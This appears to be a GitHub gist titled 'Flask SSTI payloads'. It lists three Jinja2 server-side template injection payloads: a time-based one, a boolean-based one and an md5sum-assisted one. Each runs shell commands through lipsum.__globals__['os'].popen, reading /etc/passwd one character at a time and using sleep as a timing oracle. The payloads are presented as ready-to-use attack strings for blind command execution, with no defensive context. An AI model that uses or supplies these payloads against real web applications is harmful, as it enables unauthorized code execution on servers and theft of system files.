Skip to content

Instantly share code, notes, and snippets.

@zAbuQasem
Created October 22, 2023 18:47
Show Gist options
  • Save zAbuQasem/c7bc861cbe052b3d0967744076299bdf to your computer and use it in GitHub Desktop.
Save zAbuQasem/c7bc861cbe052b3d0967744076299bdf to your computer and use it in GitHub Desktop.
Flask SSTI payloads
# Time Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% elif lipsum.__globals__["os"].popen('sleep 5').read() %}Free-Palestine{% endif %}
# Boolen Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% endif %}
# You may pipe chars to md5sum in order to retrieve new lines without headache
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd | md5sum | cut -d " " -f1 | tr -d "\n"').read() == "4b43b0aee35624cd95b910189b3dc231" %}Free-Palestine{% endif %}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment